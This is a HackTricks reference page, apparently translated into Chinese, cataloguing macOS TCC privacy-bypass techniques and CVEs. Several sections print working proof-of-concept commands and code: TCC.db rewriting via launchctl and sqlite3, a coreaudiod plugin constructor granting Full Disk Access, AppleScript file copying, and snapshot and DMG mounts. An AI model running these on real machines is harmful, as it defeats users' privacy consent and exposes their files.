19 KiB
macOS TCC绕过
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥
- 你在一个网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获得官方PEASS和HackTricks周边产品
- 加入💬 Discord群组 或 Telegram群组 或 关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
按功能分类
写入绕过
这不是一个绕过,这只是TCC的工作原理:它不会阻止写入。如果终端没有访问用户桌面的读取权限,仍然可以写入其中:
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % echo asd > Desktop/lalala
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd
扩展属性com.apple.macl
被添加到新的文件中,以使创建者的应用程序能够访问它。
SSH绕过
默认情况下,通过SSH访问将具有**"完全磁盘访问"**权限。为了禁用此权限,您需要将其列出但禁用(从列表中删除不会删除这些权限):
在这里,您可以找到一些恶意软件如何绕过此保护的示例:
{% hint style="danger" %} 请注意,现在为了能够启用SSH,您需要完全磁盘访问权限 {% endhint %}
处理扩展名 - CVE-2022-26767
属性**com.apple.macl
被赋予文件以赋予某个应用程序读取它的权限**。当用户通过拖放文件到应用程序上或者双击文件以使用默认应用程序打开它时,将设置此属性。
因此,用户可以注册一个恶意应用程序来处理所有扩展名,并调用启动服务来打开任何文件(因此恶意文件将被授予读取权限)。
iCloud
使用权限**com.apple.private.icloud-account-access
可以与com.apple.iCloudHelper
** XPC服务进行通信,该服务将提供iCloud令牌。
iMovie和Garageband具有此权限以及其他权限。
有关从该权限中获取iCloud令牌的漏洞的更多信息,请查看演讲:#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula
kTCCServiceAppleEvents / Automation
具有**kTCCServiceAppleEvents
权限的应用程序将能够控制其他应用程序**。这意味着它可以滥用授予其他应用程序的权限。
有关Apple脚本的更多信息,请查看:
{% content-ref url="macos-apple-scripts.md" %} macos-apple-scripts.md {% endcontent-ref %}
例如,如果一个应用程序具有对iTerm
的自动化权限,例如在此示例中**Terminal
**具有对iTerm的访问权限:
在iTerm上
没有FDA的Terminal可以调用具有FDA的iTerm,并使用它执行操作:
{% code title="iterm.script" %}
tell application "iTerm"
activate
tell current window
create tab with default profile
end tell
tell current session of current window
write text "cp ~/Desktop/private.txt /tmp"
end tell
end tell
{% endcode %}
osascript iterm.script
通过Finder
或者,如果一个应用程序在Finder上具有访问权限,它可以使用以下脚本之一:
set a_user to do shell script "logname"
tell application "Finder"
set desc to path to home folder
set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing
set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text
end tell
do shell script "rm " & POSIX path of (copyFile as alias)
通过应用行为
CVE-2020–9934 - TCC
用户空间的 tccd 守护进程 使用 HOME
env 变量来访问 TCC 用户数据库:$HOME/Library/Application Support/com.apple.TCC/TCC.db
根据这个 Stack Exchange 帖子以及因为 TCC 守护进程是通过 launchd
在当前用户域中运行的,可以控制传递给它的所有环境变量。
因此,攻击者可以在 launchctl
中设置 $HOME
环境变量,指向一个受控的目录,然后重新启动 TCC 守护进程,并直接修改 TCC 数据库,以获取所有可用的 TCC 权限,而无需提示最终用户。
PoC:
# reset database just in case (no cheating!)
$> tccutil reset All
# mimic TCC's directory structure from ~/Library
$> mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC"
# cd into the new directory
$> cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/"
# set launchd $HOME to this temporary directory
$> launchctl setenv HOME /tmp/tccbypass
# restart the TCC daemon
$> launchctl stop com.apple.tccd && launchctl start com.apple.tccd
# print out contents of TCC database and then give Terminal access to Documents
$> sqlite3 TCC.db .dump
$> sqlite3 TCC.db "INSERT INTO access
VALUES('kTCCServiceSystemPolicyDocumentsFolder',
'com.apple.Terminal', 0, 1, 1,
X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',
NULL,
NULL,
'UNUSED',
NULL,
NULL,
1333333333333337);"
# list Documents directory without prompting the end user
$> ls ~/Documents
CVE-2021-30761 - 笔记
笔记可以访问 TCC 保护的位置,但是当创建笔记时,它会被创建在一个非受保护的位置。因此,你可以要求笔记将受保护的文件复制到一个笔记中(即非受保护的位置),然后访问该文件:
CVE-2021-XXXX - 迁移
二进制文件 /usr/libexec/lsd
与库 libsecurity_translocate
具有权限 com.apple.private.nullfs_allow
,允许它创建 nullfs 挂载,并具有权限 com.apple.private.tcc.allow
与 kTCCServiceSystemPolicyAllFiles
以访问每个文件。
可以将隔离属性添加到 "Library",调用 com.apple.security.translocation
XPC 服务,然后它将将 Library 映射到 $TMPDIR/AppTranslocation/d/d/Library
,从而可以访问 Library 中的所有文档。
SQL 跟踪
如果环境变量 SQLITE_AUTO_TRACE
被设置,库 libsqlite3.dylib
将开始记录所有的 SQL 查询。许多应用程序使用了这个库,因此可以记录它们所有的 SQLite 查询。
几个 Apple 应用程序使用了这个库来访问 TCC 保护的信息。
# Set this env variable everywhere
launchctl setenv SQLITE_AUTO_TRACE 1
Apple远程桌面
作为root用户,您可以启用此服务,并且ARD代理将具有完全磁盘访问权限,用户可以滥用此权限使其复制新的TCC用户数据库。
通过插件
插件通常是以库或plist形式的额外代码,它们将由主应用程序加载并在其上下文中执行。因此,如果主应用程序可以访问TCC受限文件(通过授予权限或权限),则自定义代码也将具有相同的访问权限。
CVE-2020-27937 - 目录实用工具
应用程序/System/Library/CoreServices/Applications/Directory Utility.app
具有权限kTCCServiceSystemPolicySysAdminFiles
,加载了扩展名为.daplug
的插件,并且没有启用强化运行时。
为了利用此CVE,滥用先前的权限,将NFSHomeDirectory
更改为能够接管用户的TCC数据库以绕过TCC。
有关更多信息,请查看原始报告。
CVE-2020-29621 - Coreaudiod
二进制文件/usr/sbin/coreaudiod
具有权限com.apple.security.cs.disable-library-validation
和com.apple.private.tcc.manager
。第一个权限允许代码注入,第二个权限允许其管理TCC。
该二进制文件允许从文件夹/Library/Audio/Plug-Ins/HAL
加载第三方插件。因此,可以使用此PoC加载插件并滥用TCC权限:
#import <Foundation/Foundation.h>
#import <Security/Security.h>
extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess);
void add_tcc_entry() {
CFStringRef TCCAccessCheckType = CFSTR("kTCCServiceSystemPolicyAllFiles");
CFStringRef bundleID = CFSTR("com.apple.Terminal");
CFStringRef pureReq = CFSTR("identifier \"com.apple.Terminal\" and anchor apple");
SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement);
CFDataRef requirementData = NULL;
SecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData);
TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue);
}
__attribute__((constructor)) static void constructor(int argc, const char **argv) {
add_tcc_entry();
NSLog(@"[+] Exploitation finished...");
exit(0);
有关更多信息,请查看原始报告。
设备抽象层(DAL)插件
通过Core Media I/O打开相机流的系统应用程序(具有**kTCCServiceCamera
**的应用程序)会在进程中加载位于/Library/CoreMediaIO/Plug-Ins/DAL
中的这些插件(不受SIP限制)。
只需在其中存储一个具有常见构造函数的库即可用于注入代码。
几个Apple应用程序存在此漏洞。
通过进程注入
有不同的技术可以在进程内注入代码并滥用其TCC权限:
{% content-ref url="../../macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}
Firefox
Firefox应用程序仍然存在漏洞,具有com.apple.security.cs.disable-library-validation
权限:
codesign -d --entitlements :- /Applications/Firefox.app
Executable=/Applications/Firefox.app/Contents/MacOS/firefox
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.cs.allow-unsigned-executable-memory</key>
<true/>
<key>com.apple.security.cs.disable-library-validation</key>
<true/>
<key>com.apple.security.device.audio-input</key>
<true/>
<key>com.apple.security.device.camera</key>
<true/>
<key>com.apple.security.personal-information.location</key>
<true/>
<key>com.apple.security.smartcard</key>
<true/>
</dict>
</plist>
有关如何轻松利用此漏洞的更多信息,请查看原始报告。
CVE-2020-10006
二进制文件/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl
具有权限**com.apple.private.tcc.allow
和com.apple.security.get-task-allow
**,允许在进程内注入代码并使用TCC权限。
CVE-2023-26818 - Telegram
Telegram具有权限com.apple.security.cs.allow-dyld-environment-variables
和com.apple.security.cs.disable-library-validation
,因此可以滥用它来获取其权限,例如使用摄像头进行录制。您可以在写作中找到有效载荷。
通过打开调用
可以在受沙箱限制的环境中调用打开命令。
终端脚本
通常会为终端授予完全磁盘访问权限(FDA),至少在技术人员使用的计算机上是如此。可以使用它来调用**.terminal
**脚本。
**.terminal
脚本是plist文件,其中包含要在CommandString
**键中执行的命令:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>CommandString</key>
<string>cp ~/Desktop/private.txt /tmp/;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
一个应用程序可以在/tmp等位置编写一个终端脚本,并使用如下命令来启动它:
// Write plist in /tmp/tcc.terminal
[...]
NSTask *task = [[NSTask alloc] init];
NSString * exploit_location = @"/tmp/tcc.terminal";
task.launchPath = @"/usr/bin/open";
task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
exploit_location]; task.standardOutput = pipe;
[task launch];
通过挂载
CVE-2020-9771 - mount_apfs TCC绕过和权限提升
任何用户(即使是非特权用户)都可以创建和挂载时间机器快照,并访问该快照的所有文件。
唯一需要的特权是所使用的应用程序(如Terminal
)需要具有完全磁盘访问权限(FDA)(kTCCServiceSystemPolicyAllfiles
),这需要由管理员授予。
{% code overflow="wrap" %}
# Create snapshot
tmutil localsnapshot
# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local
# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap
# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap
# Access it
ls /tmp/snap/Users/admin_user # This will work
{% endcode %}
更详细的解释可以在原始报告中找到。
CVE-2021-1784和CVE-2021-30808 - 在TCC文件上挂载
即使TCC DB文件受到保护,仍然可以在目录上挂载一个新的TCC.db文件:
{% code overflow="wrap" %}
# CVE-2021-1784
## Mount over Library/Application\ Support/com.apple.TCC
hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TCC test.dmg
# CVE-2021-1784
## Mount over ~/Library
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg
{% endcode %}
# This was the python function to create the dmg
def create_dmg():
os.system("hdiutil create /tmp/tmp.dmg -size 2m -ov -volname \"tccbypass\" -fs APFS 1>/dev/null")
os.system("mkdir /tmp/mnt")
os.system("hdiutil attach -owners off -mountpoint /tmp/mnt /tmp/tmp.dmg 1>/dev/null")
os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
os.system("hdiutil detach /tmp/mnt 1>/dev/null")
查看原始文档中的完整利用方法。
asr
工具**/usr/sbin/asr
**允许复制整个磁盘并在另一个位置挂载,绕过TCC保护。
位置服务
在**/var/db/locationd/clients.plist
中有第三个TCC数据库,用于指示允许访问位置服务的客户端。
文件夹/var/db/locationd/
没有受到DMG挂载的保护**,因此可以挂载我们自己的plist文件。
通过启动应用程序
{% content-ref url="../../../macos-auto-start-locations.md" %} macos-auto-start-locations.md {% endcontent-ref %}
通过grep
在许多情况下,文件会将敏感信息(如电子邮件、电话号码、消息等)存储在未受保护的位置(这在Apple中被视为漏洞)。
参考资料
- https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8
- https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/
- 20+ Ways to Bypass Your macOS Privacy Mechanisms
- Knockout Win Against TCC - 20+ NEW Ways to Bypass Your MacOS Privacy Mechanisms
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一家网络安全公司工作吗?想要在HackTricks中宣传你的公司吗?或者想要获取最新版本的PEASS或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFT收藏品——The PEASS Family
- 获得官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组,或在Twitter上关注我🐦@carlospolopm。
- 通过向hacktricks repo 和 hacktricks-cloud repo 提交PR来分享你的黑客技巧。